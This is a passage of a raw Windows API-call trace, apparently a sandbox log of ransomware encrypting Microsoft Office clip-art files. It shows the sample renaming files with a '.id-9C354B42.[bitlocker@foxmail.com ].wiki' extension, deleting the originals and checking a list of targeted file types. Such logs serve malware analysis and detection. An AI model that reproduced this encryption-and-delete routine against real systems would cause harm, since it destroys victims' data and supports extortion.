office\\clipart\\pub60cor\\j0178932.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.221] GetLastError () returned 0x0 [0199.221] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x8a0c, lpOverlapped=0x0) returned 1 [0199.223] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x8a10, lpOverlapped=0x0) returned 1 [0199.225] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.225] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.225] SetEndOfFile (hFile=0x1e0) returned 1 [0199.225] CloseHandle (hObject=0x1e0) returned 1 [0199.225] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.225] SetEndOfFile (hFile=0x220) returned 1 [0199.226] CloseHandle (hObject=0x220) returned 1 [0199.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg")) returned 1 [0199.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.226] lstrlenW (lpString=".doc") returned 4 [0199.226] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.226] lstrlenW (lpString=".docx") returned 5 [0199.226] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0199.226] lstrlenW (lpString=".pdf") returned 4 [0199.226] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.227] lstrlenW (lpString=".xls") returned 4 [0199.227] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.227] lstrlenW (lpString=".xlsx") returned 5 [0199.227] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0199.227] lstrlenW (lpString=".ppt") returned 4 [0199.227] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.227] lstrlenW (lpString=".zip") returned 4 [0199.227] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.227] lstrlenW (lpString=".rar") returned 4 [0199.227] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.227] lstrlenW (lpString=".bz2") returned 4 [0199.227] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.227] lstrlenW (lpString=".7z") returned 3 [0199.227] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.227] lstrlenW (lpString=".dbf") returned 4 [0199.227] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.227] lstrlenW (lpString=".1cd") returned 4 [0199.227] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.227] lstrlenW (lpString=".jpg") returned 4 [0199.227] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.227] lstrlenW (lpString=".doc") returned 4 [0199.227] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.227] lstrlenW (lpString=".docx") returned 5 [0199.228] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0199.228] lstrlenW (lpString=".pdf") returned 4 [0199.228] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.228] lstrlenW (lpString=".xls") returned 4 [0199.228] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.228] lstrlenW (lpString=".xlsx") returned 5 [0199.228] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0199.228] lstrlenW (lpString=".ppt") returned 4 [0199.228] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.228] lstrlenW (lpString=".zip") returned 4 [0199.228] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.228] lstrlenW (lpString=".rar") returned 4 [0199.228] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.228] lstrlenW (lpString=".bz2") returned 4 [0199.228] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.228] lstrlenW (lpString=".7z") returned 3 [0199.228] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.228] lstrlenW (lpString=".dbf") returned 4 [0199.228] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.228] lstrlenW (lpString=".1cd") returned 4 [0199.228] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0199.228] lstrlenW (lpString=".jpg") returned 4 [0199.228] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.228] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.229] lstrlenW (lpString="J0179963.JPG") returned 12 [0199.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.229] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=32110) returned 1 [0199.229] CloseHandle (hObject=0x220) returned 1 [0199.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg")) returned 0x20 [0199.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.229] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.229] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.367] GetLastError () returned 0x0 [0199.367] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x7d6e, lpOverlapped=0x0) returned 1 [0199.416] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7d70, lpOverlapped=0x0) returned 1 [0199.417] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.417] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.417] SetEndOfFile (hFile=0x20c) returned 1 [0199.418] CloseHandle (hObject=0x20c) returned 1 [0199.418] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.418] SetEndOfFile (hFile=0x220) returned 1 [0199.418] CloseHandle (hObject=0x220) returned 1 [0199.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg")) returned 1 [0199.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.419] lstrlenW (lpString=".doc") returned 4 [0199.419] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.419] lstrlenW (lpString=".docx") returned 5 [0199.419] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0199.419] lstrlenW (lpString=".pdf") returned 4 [0199.419] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.419] lstrlenW (lpString=".xls") returned 4 [0199.419] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.419] lstrlenW (lpString=".xlsx") returned 5 [0199.419] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0199.419] lstrlenW (lpString=".ppt") returned 4 [0199.419] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.419] lstrlenW (lpString=".zip") returned 4 [0199.419] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.419] lstrlenW (lpString=".rar") returned 4 [0199.419] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.419] lstrlenW (lpString=".bz2") returned 4 [0199.420] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.420] lstrlenW (lpString=".7z") returned 3 [0199.420] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.420] lstrlenW (lpString=".dbf") returned 4 [0199.420] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.420] lstrlenW (lpString=".1cd") returned 4 [0199.420] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.420] lstrlenW (lpString=".jpg") returned 4 [0199.420] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.420] lstrlenW (lpString=".doc") returned 4 [0199.420] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.420] lstrlenW (lpString=".docx") returned 5 [0199.420] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0199.420] lstrlenW (lpString=".pdf") returned 4 [0199.420] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.420] lstrlenW (lpString=".xls") returned 4 [0199.420] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.420] lstrlenW (lpString=".xlsx") returned 5 [0199.420] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0199.420] lstrlenW (lpString=".ppt") returned 4 [0199.420] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.420] lstrlenW (lpString=".zip") returned 4 [0199.420] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.420] lstrlenW (lpString=".rar") returned 4 [0199.421] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.421] lstrlenW (lpString=".bz2") returned 4 [0199.421] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.421] lstrlenW (lpString=".7z") returned 3 [0199.421] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.421] lstrlenW (lpString=".dbf") returned 4 [0199.421] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.421] lstrlenW (lpString=".1cd") returned 4 [0199.421] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0199.421] lstrlenW (lpString=".jpg") returned 4 [0199.421] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.421] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.421] lstrlenW (lpString="J0185670.WMF") returned 12 [0199.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.422] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=7304) returned 1 [0199.422] CloseHandle (hObject=0x220) returned 1 [0199.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf")) returned 0x20 [0199.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.422] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.422] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.422] GetLastError () returned 0x0 [0199.422] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1c88, lpOverlapped=0x0) returned 1 [0199.441] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0199.442] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.442] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.442] SetEndOfFile (hFile=0x20c) returned 1 [0199.442] CloseHandle (hObject=0x20c) returned 1 [0199.443] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.443] SetEndOfFile (hFile=0x220) returned 1 [0199.443] CloseHandle (hObject=0x220) returned 1 [0199.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf")) returned 1 [0199.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.444] lstrlenW (lpString=".doc") returned 4 [0199.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.444] lstrlenW (lpString=".docx") returned 5 [0199.444] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.444] lstrlenW (lpString=".pdf") returned 4 [0199.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.444] lstrlenW (lpString=".xls") returned 4 [0199.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.444] lstrlenW (lpString=".xlsx") returned 5 [0199.444] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.444] lstrlenW (lpString=".ppt") returned 4 [0199.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.444] lstrlenW (lpString=".zip") returned 4 [0199.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.444] lstrlenW (lpString=".rar") returned 4 [0199.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.444] lstrlenW (lpString=".bz2") returned 4 [0199.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.444] lstrlenW (lpString=".7z") returned 3 [0199.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.445] lstrlenW (lpString=".dbf") returned 4 [0199.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.445] lstrlenW (lpString=".1cd") returned 4 [0199.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.445] lstrlenW (lpString=".jpg") returned 4 [0199.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.445] lstrlenW (lpString=".doc") returned 4 [0199.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.445] lstrlenW (lpString=".docx") returned 5 [0199.445] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.445] lstrlenW (lpString=".pdf") returned 4 [0199.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.445] lstrlenW (lpString=".xls") returned 4 [0199.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.445] lstrlenW (lpString=".xlsx") returned 5 [0199.445] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.445] lstrlenW (lpString=".ppt") returned 4 [0199.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.445] lstrlenW (lpString=".zip") returned 4 [0199.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.445] lstrlenW (lpString=".rar") returned 4 [0199.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.445] lstrlenW (lpString=".bz2") returned 4 [0199.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.446] lstrlenW (lpString=".7z") returned 3 [0199.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.446] lstrlenW (lpString=".dbf") returned 4 [0199.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.446] lstrlenW (lpString=".1cd") returned 4 [0199.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0199.446] lstrlenW (lpString=".jpg") returned 4 [0199.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.446] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.446] lstrlenW (lpString="J0185778.WMF") returned 12 [0199.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.447] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=25312) returned 1 [0199.447] CloseHandle (hObject=0x220) returned 1 [0199.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf")) returned 0x20 [0199.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.447] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.447] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.448] GetLastError () returned 0x0 [0199.448] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x62e0, lpOverlapped=0x0) returned 1 [0199.474] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, 